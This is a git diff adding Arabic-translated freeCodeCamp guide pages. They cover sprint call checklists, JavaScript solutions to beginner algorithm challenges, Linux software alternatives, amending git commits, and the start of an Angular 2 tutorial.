+*   **نطاق المشروع** - توفر هذه القائمة مخططًا عامًا لما يجب أن يحققه المشروع.
+*   **قصص المستخدمين** - هذه هي الميزات _المحددة_ التي يجب أن يتضمنها التطوير.
+*   **قيد التقدم** - هذه هي قصص المستخدمين التي يعمل عليها الفريق حاليًا.
+*   **تم الانتهاء مؤخرًا** - هذه هي قصص المستخدمين التي أكملها الفريق منذ مؤتمر المشروع الأخير.
+*   **Demo'd** - هذه هي قصص المستخدمين التي تم تقديمها وتقبلها من قبل العميل.
+
+## تنظيم نداء النطاق
+
+في تقدم.
+
+## قائمة التحقق من المكالمات Sprint
+
+### 1-2 أيام قبل المؤتمر
+
+*   تحقق من حدث تقويم Google وتواصل مع أي فرد لم يستجب.
+
+### يوم وأثناء المؤتمر
+
+1.  إرسال دعوة المؤتمر والتفاصيل قبل 10 دقائق من الموعد المقرر للمكالمة.
+2.  انضم إلى الاجتماع قبل 5 دقائق على الأقل. يجب أن يتم إلغاء صوتك وتكون متاحًا للمشاركة في محادثة مع المعسكر وأصحاب المصلحة (أصحاب المصلحة).
+3.  عرض وأخبر الوقت. اسأل المتسابقين "ماذا عملت في هذا الأسبوع؟ هل ترغب في مشاركة شاشتك وتجربتك؟"
+4.  اسأل المخيم "هل واجهت أي مشاكل هذا الأسبوع؟"
+5.  راجع كل بطاقة في القائمة التي تم إكمالها مؤخرًا وتأكد من معالجة قصة المستخدم.
+6.  اطلب من صاحب المصلحة إذا كان لديه أي أسئلة حول قصص المستخدمين التي تم إكمالها مؤخرًا.
+7.  بعد مناقشة كل بطاقة مكتملة مؤخرًا ، اسحبها إلى قائمة Demo'd.
+8.  اسأل المتسابقين "ما الذي تخطط للعمل فيه هذا الأسبوع؟"
+9.  اسحب بطاقة "اختصارات المستخدم" المحددة إلى القائمة قيد التقدم.
+10.  جدولة مؤتمر سباق القادم. "نفس الوقت الأسبوع المقبل؟" يعمل عادة بشكل جيد. لا تنس إرسال دعوات باستخدام تقويم Google.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/algoritmo-confirma-la-terminacin/index.md b/client/src/guide/arabic/miscellaneous/algoritmo-confirma-la-terminacin/index.md
new file mode 100644
index 0000000000..a1ec233ddb
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/algoritmo-confirma-la-terminacin/index.md
@@ -0,0 +1,42 @@
+---
+title: Algoritmo Confirma La Terminacin
+localeTitle: خوارزمية تؤكد اكتمالها
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a081f3fa5316b7d400a5e518bb0620eef64caa08.jpg)
+
+### التفسير:
+
+الوظيفة ببساطة عملية منطقية. من الضروري إرجاع true إذا انتهت الوسيطة الأولى بالوسيطة الثانية. هذا يعني أنه على سبيل المثال `confirmEnding('Bastian', 'n');` المشكلة `confirmEnding('Bastian', 'n');` ، يجب أن تعود حقيقية.
+
+## فكرة: 1
+
+نلقي نظرة على كيفية عمل `substr()` . يجب أن تحاول الحصول على آخر X حرفًا.
+
+## فكرة: 2
+
+للحصول على آخر X حرف يجب عليك استخدام length () وتحويله إلى رقم سالب.
+
+## فكرة: 3
+
+تأكد من أن لديك الصيغة الصحيحة وأنك تستخدم `===` للمقارنة.
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل أدناه!**
+
+## حل الرمز:
+
+ `function confirmEnding(str, target) { 
+  return str.substr(-target.length) === target; 
+ } 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [تشغيل الكود](https://repl.it/CLjU/18)
+
+## شرح الكود:
+
+نستخدم subtring () مع القيمة السالبة التي تعيد طول الهدف. يمكننا استخدام -1 للحصول على الحرف الأخير ولكن إذا كان طول الهدف أكبر من واحد فعليًا فإن الدالة ستعيد المعلومات غير الصحيحة. ثم نعيد قيمة تعبيرها البُولياني.
+
+> **ملاحظة:** الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة **محتوى ذي صلة** إلى المقالة. (يرجى عدم إزالة أي اسم موجود).
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/algoritmo-de-argumentos-opcionales/index.md b/client/src/guide/arabic/miscellaneous/algoritmo-de-argumentos-opcionales/index.md
new file mode 100644
index 0000000000..fe87864d43
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/algoritmo-de-argumentos-opcionales/index.md
@@ -0,0 +1,164 @@
+---
+title: Algoritmo De Argumentos Opcionales
+localeTitle: خوارزمية من الحجج الاختيارية
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2fd8ffa014eea28587a8ef4933340d3dcc4b09.jpg)
+
+### التفسير:
+
+يمكن أن يكون الأمر معقدًا بعض الشيء لفهم ما يجب فعله. عندما نبرمج هناك طرق مختلفة للقيام بشيء ما. بغض النظر عن الخوارزمية المستخدمة ، نحتاج إلى إنشاء وظيفة تقوم بما يلي:
+
+*   يجب عليك إضافة رقمين يتم تلقيهما كمعلمات وإرجاع النتيجة.
+*   عليك أن تتحقق من أن كلا الرقمين عبارة عن أرقام فعلية ، وإلا يتم **إرجاعهما** وإيقاف الوظيفة في ذلك الوقت.
+*   يجب أن تتحقق من أن الوسيطات المستلمة هي واحدة أو اثنتين. إذا كان هناك أكثر من ذلك ، ينبغي تجاهلها.
+*   إذا تم تلقي وسيطة واحدة فقط ، فيجب إرجاع الدالة التي تقبل وسيطة أخرى ثم يتم إجراء الإضافة.
+
+## فكرة: 1
+
+في كل مرة تعمل فيها حجة ، يجب عليك التحقق مما إذا كانت رقمًا أم لا. لتجنب تكرار التعليمات البرمجية ، يجب إنشاء وظيفة تتعامل مع هذه المهمة.
+
+## فكرة: 2
+
+عندما يكون من الضروري إرجاع الدالة ، فمن المستحسن التحقق مما إذا كانت الوسيطة الأولى والوحيدة عبارة عن رقم جديد وتربط الشفرة في ذلك.
+
+## فكرة: 3
+
+في حالة تلقي وسيطة واحدة فقط ، لا تقلق بشأن كيفية طلب الحجة الثانية ، ببساطة قم بتعريف الوظيفة بشكل صحيح وسيعمل كل شيء كما ينبغي.
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل أدناه!**
+
+## حل الرمز:
+
+ `function addTogether() { 
+  // Función para comprobar si un número es realmente un número 
+  // y retornar undefined en caso contrario. 
+  var checkNum = function(num) { 
+    if (typeof num !== 'number') { 
+      return undefined; 
+    } else 
+      return num; 
+  }; 
+ 
+  // Comprobar si tenemos dos parámetros y si ambos son números 
+  // En caso que no lo sean retornamos undefined 
+  // retornamos la suma 
+  if (arguments.length > 1) { 
+    var a = checkNum(arguments[0]); 
+    var b = checkNum(arguments[1]); 
+    if (a === undefined || b === undefined) { 
+      return undefined; 
+    } else { 
+      return a + b; 
+    } 
+  } else { 
+    // Si solo es encontrado un parámetro retornamos una nueva función para solicitar un segundo parámetro 
+    // Guardamos el primer argumento antes de entrar al scope de la nueva función 
+    var c = arguments[0]; 
+ 
+    // Comprobamos que sea número de nuevo, debe ser fuera del objeto que retornaremos 
+    // en lugar de undefined. 
+    if (checkNum(c)) { 
+      // // Retornamos la función que espera el segundo parámetro. 
+      return function(arg2) { 
+        // Comprobamos que no sean números. 
+        if (c === undefined || checkNum(arg2) === undefined) { 
+          return undefined; 
+        } else { 
+          // Si lo son, sumamos. 
+          return c + arg2; 
+        } 
+      }; 
+    } 
+  } 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLnz/0)
+
+### شرح الكود:
+
+*   أولاً نقوم بإنشاء دالة لغرض وحيد هو التحقق مما إذا كان الرقم رقمًا فعليًا ونعود غير محدد إذا لم يكن. استخدم **typeof** للتحقق.
+*   نتحقق مما إذا كان لدينا **معلمتان** ، إذا كان لدينا ، فإننا نتحقق من أنها إذا كانت أرقامًا أو لا تستخدم الدالة **checkNum** .
+*   إذا لم تكن المعلمات غير **محددة ،** نضيفها ونرجع المبلغ. إذا كان أحدهم غير معروف ، فإننا نرجع غير محدد.
+*   في حالة وجود وسيطة واحدة فقط ، فإننا نقوم بإرجاع دالة جديدة تتوقع معلمتين. لهذا نقوم بتخزين المعلمة الثانية قبل إدخال الدالة لتجنب الكتابة فوق الوسيطة.
+*   حتى داخل الجزء الأول _آخر ،_ نحتاج إلى التحقق من أن الوسيطة المحفوظة عبارة عن رقم ، إذا كان الأمر كذلك ، فإننا نعيد الدالة في انتظار الوسيطة الثانية.
+*   الآن داخل الوظيفة التي سنقوم بها يجب أن نتحقق من أن المعلمة الجديدة هي رقم يستخدم **checkNum** ، إذا لم يتم **تحديدها فسنعيد** ذلك وإلا سنقوم بإضافة الأرقام وإرجاع النتيجة.
+
+## الحل الثاني:
+
+ `function addTogether() { 
+  var args = new Array(arguments.length); 
+  // Almacenamos los argumentos en un array. 
+  for(var i = 0; i < args.length; ++i) { 
+    args[i] = arguments[i]; 
+  } 
+  // Comprobamos la cantidad de argumentos. 
+  if(args.length == 2){ 
+    // Si hay dos argumentos, comprobamos el tipo de ambos 
+    // Utiliza typeof para comprobar el tipo de argumentos. (ambos deben ser números) 
+    if(typeof args[0] !== 'number' || typeof args[1] !=='number' ){ 
+      return undefined; 
+    } 
+    return args[0]+args[1]; 
+  } 
+  // Cuando solo un argumento es provisto. 
+  if(args.length == 1){ 
+    a = args[0]; 
+    // Comprobamos el tipo utilizando typeof. 
+    if(typeof a!=='number'){ 
+      return undefined; 
+    } 
+    else{ 
+      // Hacemos uso de las funciones internas. 
+      return function(b){ 
+      // Comprobamos el segundo parámetro. 
+      if(typeof b !=='number'){ 
+        return undefined; 
+      } 
+      else 
+        return a+b; 
+      }; 
+    } 
+  } 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLoA/0)
+
+## الحل الثالث:
+
+ `//jshint esversion: 6 
+ function addTogether() { 
+  var args = Array.from(arguments); 
+  return args.some(n => typeof n !== 'number') ? 
+    undefined: 
+    args.length > 1 ? 
+      args.reduce((acc, n) => acc += n, 0): 
+      (n) => typeof n === "number" ? 
+        n + args[0]: 
+        undefined; 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLoB/0)
+
+### شرح الكود:
+
+*   أولاً نكرر الحجج ونحقق أنها أرقام ، وإذا لم نعد نعيدها.
+*   ثم نتحقق من أن قيمة الوسيطة أكبر من 1 ، إذا تم إضافة الوسيطات باستخدام `Array.prototype.reduce`
+*   وإلا فإننا نعيد دالة تتحقق من أن المعلمة المستلمة هي رقم ويضيفها ، إذا لم نرد غير محدد.
+
+> **ملاحظة:** الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة **محتوى ذي صلة** إلى المقالة. (يرجى عدم إزالة أي اسم موجود).
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/algoritmo-mensaje-secreto/index.md b/client/src/guide/arabic/miscellaneous/algoritmo-mensaje-secreto/index.md
new file mode 100644
index 0000000000..da9547fc0a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/algoritmo-mensaje-secreto/index.md
@@ -0,0 +1,148 @@
+---
+title: Algoritmo Mensaje Secreto
+localeTitle: خوارزمية الرسائل السرية
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/7/70cf3cc5462f69c2f770ad42d0f24f240a8d8f13.jpg)
+
+### التفسير:
+
+هذه المشكلة بسيطة للغاية ، ستحصل على سلسلة تمثل عبارة في الشفرة الثنائية ، وسيكون عليك ترجمتها إلى كلمات. لا توجد طريقة مباشرة للقيام بذلك ، لذلك عليك أن تترجم مرتين.
+
+## فكرة: 1
+
+يجب عليك أولاً التحويل من **ثنائي** إلى **عشري** ومن ثم ترجمتها إلى أحرف.
+
+## فكرة: 2
+
+تكون الأمور أسهل إذا ركزت على أجزاء صغيرة ، وقم بتقسيم الرسالة إلى ما تتلقاه والتركيز على حرف واحد في كل مرة.
+
+## فكرة: 3
+
+تأكد بعد تحويل الشفرة الثنائية إلى الحرف العشري لإعادة تعيين أي من المتغيرات التي استخدمتها لتنفيذ الترجمة. أيضا ، لا تنس أن تضع كل شيء مرة أخرى على سلسلة واحدة.
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل أدناه!**
+
+## حل الرمز:
+
+ `function binaryAgent(str) { 
+  biString = str.split(' '); 
+  uniString = []; 
+ 
+  // Utilizando el parámetro base en parseInt podemos convertir el número 
+  // binario a número decimal mientras simultáneamente lo convertimos a carácter. 
+ 
+  for(i=0;i < biString.length;i++){ 
+    uniString.push(String.fromCharCode(parseInt(biString[i], 2))); 
+  } 
+  // Simplemente unimos la cadena. 
+  return uniString.join(''); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLnm/0)
+
+# شرح الكود:
+
+*   نحن نفصل السلسلة في صفيف من السلاسل المفصولة بفراغات.
+*   نخلق متغيرًا سيكون ضروريًا على طول الطريق ، وهذا الاسم لا يحتاج إلى شرح.
+*   نكرر من خلال المصفوفة الثنائية الجديدة.
+*   نقوم بتحويلها إلى قيمة عشرية باستخدام parseInt ( _binary_ ، 2) (مع المعلمة الثانية نخبرك على أي أساس لدينا أرقام حاليا)
+*   في النهاية ، نعيد الرسالة المحولة.
+
+## الحل الثاني:
+
+ `function binaryAgent(str) { 
+  // Separamos el código binario por sus espacios. 
+  str = str.split(' '); 
+  var power; 
+  var decValue = 0; 
+  var sentence = ''; 
+ 
+  // Comprobamos cada número binario de la matriz. 
+  for (var s = 0; s < str.length; s++) { 
+    // Comprobamos cada bit del número binario. 
+    for (var t = 0; t < str[s].length; t++) { 
+      // Esto solo toma en consideración los activos. 
+      if (str[s][t] == 1) { 
+        // Esto es equivalente a 2 ** posición. 
+        power = Math.pow(2, +str[s].length - t - 1); 
+        decValue += power; 
+ 
+        // Guardamos el valor decimal sumándolo al anterior. 
+      } 
+    } 
+ 
+    // Luego de que el número binario es convertido a decimal, lo convertimos en una cadena y lo guardamos. 
+    sentence += (String.fromCharCode(decValue)); 
+ 
+    // Reseteamos el valor decimal para el próximo número binario. 
+    decValue = 0; 
+  } 
+ 
+  return sentence; 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLno/0)
+
+# شرح الكود:
+
+*   لكل سلسلة ثنائية نتحقق منها وتجاهل الأصفار.
+*   لأولئك الذين هم واحد أو نشط نقوم بتحويلها إلى عشري. هذا يأخذ في الاعتبار الموقف والسلطة المناسبة التي يجب أن تكون مرتفعة.
+*   نقوم بحفظ الطاقة في الطاقة المتغيرة مضيفًا إلى **الطاقة** السابقة في متغير **القيمة decValue** . سيستمر هذا المتغير في إضافة صلاحيات الأصول إلى نهاية الحلقة ثم إرجاع رقم عشري.
+*   نقوم بتحويل الرقم العشري النهائي إلى ASCII وإضافته إلى متغير **الجملة** مع أي سلسلة نصية أخرى تم تحويلها وتخزينها بالفعل.
+*   نقوم بإعادة تعيين قيمة متغير **decValue** لتجنب الأرقام العشرية الخاطئة قبل الاستمرار في الحلقة الخارجية.
+
+## الحل الثالث:
+
+ `function binaryAgent(str) { 
+  return String.fromCharCode(...str.split(" ").map(function(char){ return parseInt(char, 2); })); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLnp/0)
+
+# شرح الكود:
+
+*   أولاً نستخدم `split()` لكي نتمكن من عمل كل حرف كعنصر مصفوفة.
+*   ثم نستخدم `map()` لمعالجة كل عنصر ثنائي إلى عشري باستخدام `pareseInt()`
+*   وأخيرًا ، يمكننا استخدام `String.fromCharCode()` لتحويل كل رقم ASCII إلى الحرف المطابق له.
+*   ومع ذلك ، يتوقع `fromCharCode()` سلسلة من الأرقام بدلاً من مصفوفة. يمكننا استخدام ES6 Spread Operator لتمرير مجموعة من الأرقام كأرقام فردية. مزيد من المعلومات: [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread\_operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## الحل الرابع:
+
+ `function binaryAgent(str) { 
+  var re = /(\d+)(\s?)/g; 
+  function convertToChar(match,p1,p2){ 
+    return String.fromCharCode(parseInt(p1, 2)); 
+  } 
+  return str.replace(re, convertToChar); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ": صاروخ:") [في REPL!](https://repl.it/CLnr/0)
+
+# شرح الكود:
+
+*   في هذا الحل نستخدم `String.replace()` للعثور على جميع الأرقام الثنائية وتحويلها إلى أحرف.
+*   نستخدم أولاً تعبيرًا عاديًا للعثور على جميع الأرقام الثنائية والمساحات النهائية الاختيارية.
+*   بعد ذلك ، نقوم بتعريف دالة تقوم بتحويل كل أول subcoincidence إلى رقم مع `parseInt()` ثم حرف مع `String.fromCharCode()` . عن طريق عدم استخدام subcoincidence الثاني نترك جانبا جميع المسافات التي بين كل رقم ثنائي.
+*   وأخيرًا نستخدم تعبيرنا المعتاد والوظيفة المحددة كمعلمة من `String.replace()` .
+
+> **ملاحظة:** الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة **محتوى ذي صلة** إلى المقالة. (يرجى عدم إزالة أي اسم موجود).
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md b/client/src/guide/arabic/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md
new file mode 100644
index 0000000000..46ac4e02d3
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md
@@ -0,0 +1,44 @@
+---
+title: Alternatives to Popular Windows and Mac Software
+localeTitle: بدائل لبرنامج Windows و Mac الشهير
+---
+تمتلئ هذه المقالة ببدائل للبرامج الشائعة على Windows و Mac ، وهي غير متوفرة على Linux.
+
+## البدائل:
+
+> لا تتردد في إضافة برنامج إلى هذه القائمة في شكل طلب سحب.
+
+[http://alternativeto.net/](http://alternativeto.net/) موقع مفيد للغاية لإيجاد بدائل للبرامج.
+
+### [أدوبي فوتوشوب](http://www.adobe.com/products/photoshop)
+
+_الوصف:_ برنامج Photoshop هو برنامج تحرير الصور ، وتصميم الصور وتصميم الرسوم البيانية في Adobe. يُعد Photoshop مفيدًا جدًا لإنشاء إطارات صورية ومواقع ويب مصغّرة.
+
+_البدائل:_
+
+*   [الأعرج](https://www.gimp.org/)
+*   [إنكسكيب](https://inkscape.org)
+
+### [ستاتا](https://www.stata.com)
+
+_الوصف:_ Stata هي حزمة برامج التحليل الإحصائي التجارية التي توزعها وتحتفظ بها شركة StataCorp والتي يمكن استخدامها في التحليل الإحصائي المستند إلى البرامج النصية وواجهة المستخدم الرسومية. يمكن استكمال الحزم أو المكتبات الرسمية لشركة StataCorp من خلال نظام بيئي قوي من النصوص المكتوبة بواسطة المستخدم تسمى _SSC_ (أرشيف مكونات البرامج الإحصائية في كلية بوسطن) الذي [يستضيفه](http://repec.org) موقع أبحاث الأبحاث العلمية ( [RPEC](http://repec.org) ). يوفر [StataList دعمًا](http://www.statalist.org/) نظيرًا رسميًا في تنسيق لوحة الرسائل ؛ [ستاتا جورنال](http://www.stata-journal.com/) الرسمية هي مطبوعة فصلية تحتوي على مقالات مراجعة عن الزملاء حول "الإحصاءات ، تحليل البيانات ، طرق التدريس ، والاستخدام الفعال للغة ستاتا".
+
+_البدائل:_
+
+اقترح مستخدمو [Alternate.to](https://alternativeto.net/software/sas-jmp/) الأدوات التالية للاستخدام على Linux بدلاً من Stata (والذي يتوفر أيضًا على Linux). الارتباط التشعبي على كل
+
+*   [R (لغة البرمجة)](https://www.r-project.org) [وبدائلها](https://alternativeto.net/software/r-project/)
+*   [R Studio](https://www.rstudio.com) [وبدائلها](https://alternativeto.net/software/rstudio/)
+*   [gretl](http://gretl.sourceforge.net) [وبدائله](https://alternativeto.net/software/gretl/)
+*   [إحصاءات SOFA](http://www.sofastatistics.com/home.php) [وبدائلها](https://alternativeto.net/software/sofa-statistics/)
+*   [PSPP](https://www.gnu.org/software/pspp/) [وبدائلها](https://alternativeto.net/software/pspp/)
+*   [RKWard](https://rkward.kde.org) [وبدائلها](https://alternativeto.net/software/rkward/)
+*   [احصائيات IBM SPSS](https://www.ibm.com/analytics/us/en/technology/spss/) [وبدائلها](https://alternativeto.net/software/spss/)
+*   [يختار](http://www.deducer.org/pmwiki/pmwiki.php?n=Main.DeducerManual) [وبدائله](https://alternativeto.net/software/deducer/)
+*   [تحليلات الأرقام](https://www.numberanalytics.com) [وبدائلها](https://alternativeto.net/software/number-analytics/)
+*   [ستة سيغما حاسبة](http://www.whatissixsigma.net/six-sigma-calculator/) [وبدائلها](https://alternativeto.net/software/six-sigma-calculator/)
+*   [Microsoft R Open ، المعروفة سابقًا باسم Revolution R Open](https://mran.microsoft.com/open/) [وبدائلها](https://alternativeto.net/software/revolution-r/)
+*   [Displayr](https://www.displayr.com) [وبدائلها](https://alternativeto.net/software/displayr/)
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") | التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**تنزيل برامج تحرير النصوص و IDEs**](//forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384) | [**جدول المحتويات**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**قم بتنزيل وتثبيت Ubuntu Desktop**](//forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/amending-the-most-recent-commit-message/index.md b/client/src/guide/arabic/miscellaneous/amending-the-most-recent-commit-message/index.md
new file mode 100644
index 0000000000..73ed1e22cf
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/amending-the-most-recent-commit-message/index.md
@@ -0,0 +1,40 @@
+---
+title: Amending the Most Recent Commit Message
+localeTitle: تعديل أحدث رسالة التزام
+---
+في كثير من الأحيان ، ستظهر المناسبة حيث تم تقديم آخر التزام قبل الأوان (عدم وجود ملف ، أو فقدان تغيير في ملف ، إلخ) أو قد تكون رسالة الالتزام خطأ أو غير كاملة. لمجرد مثل هذه المناسبة تقدم بوابة و `--amend` ارتكاب العلم. لتعديل التزام ، ابدأ بكتابة:
+
+ `git commit --amend 
+` 
+
+ما سبق سوف يرتكب أي تغييرات إضافية ويفتح محررك ، مما يسمح لك بتغيير الرسالة الملتزمة للالتزام الأحدث. بالإضافة إلى ذلك ، يمكنك تعيين رسالة الالتزام مباشرة في سطر الأوامر مع:
+
+ `git commit --amend -m "New commit message" 
+` 
+
+إذا كنت ترغب في إضافة ملفات أو تغييرات على الالتزام ، فأنت تحتاج فقط إلى التأكد من إضافة التغييرات إلى التدريج مع `git add` قبل تشغيل الأمر. علاوة على ذلك ، إذا كنت ترغب في إضافة جميع الملفات المعدلة التي تمت مشاهدتها (في التدريج أو غير ذلك) وتغيير الالتزام ، فيمكنك استخدام:
+
+ `git commit --amend -am "New commit message" 
+` 
+
+تقول العلامة `-a` لإضافة جميع الملفات التي طلب من Git تعقبها.
+
+## تعديل التزام بعد الدفع إلى بعيد
+
+عند استخدام علامة `--amend` ، ستحل Git محل الالتزام الأخير مع الالتزام الجديد الكامل `--amend` جديدة. هذا يعني أنه إذا كنت قد دفعت بالفعل إلى جهاز التحكم عن بعد قبل التعديل ، فسيكون الالتزام القديم مفقودًا من أي عمليات دفع لاحقة ، وسيتم رفض أي دفعة جديدة. الطريق حول هذا هو - `--force` الدفع. _ملاحظة: - لا ينبغي أن يتم تنفيذ `--force` بخفة._ للقيام بذلك ، اكتب:
+
+ `git push <remote> <branch> --force 
+` 
+
+**أو**
+
+ `git push <remote> <branch> -f 
+` 
+
+سيضغط فرض القوة على الفرع البعيد بالحالة المحلية الخاصة بك. إذا كانت هناك إلتزامات على الفرع البعيد لا تملكها في فرعك المحلي ، فستفقدها. هذا يمكن أن يسبب مشاكل إذا كان الآخرون قد سحبت أو استنسخت بالفعل من الريبو الخاص بك. إذا كنت تعتقد أن الآخرين _قد_ قاموا بالفعل بتنزيل الالتزام المعدّل ، فيرجى التنسيق معهم.
+
+## أنظر أيضا
+
+*   [git-commit (1) صفحة الدليل](https://www.kernel.org/pub/software/scm/git/docs/git-commit.html)
+*   [برو جيت](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)
+*   [ستاكوفيرفلوو](http://stackoverflow.com/questions/179123/edit-an-incorrect-commit-message-in-git/179147#179147)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/angular-2-starter-project/index.md b/client/src/guide/arabic/miscellaneous/angular-2-starter-project/index.md
new file mode 100644
index 0000000000..ebb506091f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/angular-2-starter-project/index.md
@@ -0,0 +1,240 @@
+---
+title: Angular 2 Starter Project
+localeTitle: الزاوي 2 كاتب المشروع
+---
+هذا البرنامج التعليمي سوف يبني مشروع بذور بسيط للغاية مع Angular2. سنبدأ مع أبسط التطبيقات الممكنة ثم نضيف المزيد من الوظائف.
+
+## نظرة عامة
+
+يتم إنشاء تطبيقات Angular 2 من خلال إنشاء قوالب HTML التي تحتوي على ترميز معين زاوي. ثم يتم إنشاء فئات لإدارة القوالب ويتم تغليف كل شيء في وحدة نمطية ، والتي قمت بتجميعها معاً لإنشاء التطبيق الخاص بك. يشار إلى هذه الوحدات على أنها **مكونات** .
+
+يفسر الزاوي هذه الوحدات ويستخدمها لتقديم طلبك في المتصفح.
+
+## تطبيق المبتدئين
+
+دعونا نبدأ مع تطبيق الحد الأدنى. سنبدأ بتطبيق يحتوي على وحدة نمطية واحدة تتمثل مهمتها الوحيدة في عرض بعض النصوص.
+
+سنبدأ بإنشاء مجلد جديد باسم "app".
+
+ `$ mkdir app 
+` 
+
+كما ذكرنا أعلاه ، سيبدأ تطبيقنا بوحدة نمطية واحدة ، أو **مكون** ، سيعرض بعض النص على الشاشة. يمكننا استخدام كل من جافا سكريبت الخالص أو TypeScript لعمل تطبيق زاوي 2. باستخدام TypeScript ، يكون من الأسهل والأكثر ملاءمة للمبرمج ![:wink:](//forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=2 ":غمزة:")
+
+دعونا نتعلم كيفية إنشاء مكون باستخدام TypeScript.
+
+أنشئ ملفًا باسم _`app.component.ts`_ كما هو موضح:
+
+ ``    // app.component.ts 
+ 
+    import { Component } from '@angular/core'; 
+    @Component({ 
+      selector: 'my-app', 
+      template: '<h1>Free Code Camp Rocks!</h1>', 
+      styles: <a href='http://plnkr.co/edit/BdvNONEmO3Jwg0EavX22' target='_blank' rel='nofollow'>` 
+        h1 { color: darkgreen; font-family: Arial, Helvetica, sans-serif;} 
+      `] 
+    }) 
+    export class AppComponent { } 
+`` 
+
+يحتوي كل تطبيق Angular 2 على مكون واحد على الأقل يسمى عادة **AppComponent** . يدير أحد المكونات جزءًا من الصفحة باستخدام القالب بداخله.
+
+يوضح المكون لدينا البنية الأساسية لأي مكون ستكتبه. أنه يحتوي على:
+
+*   **بيانات الاستيراد** لسحب المكونات الأخرى التي سنحتاج إليها
+*   **مصمم عنصر** يتيح لك معرفة الزاوية التي تستخدم القالب وكيف سيتم إنشاء المكون. أساسا ، أي بيانات التعريف المتعلقة بالمكون.
+*   **فئة المكون** التي تتحكم في مظهر وسلوك المكوِّن
+
+دعونا نلقي نظرة فاحصة على كل سطر في المكون لدينا.
+
+## استيراد
+
+ `import { Component } from '@angular/core'; 
+` 
+
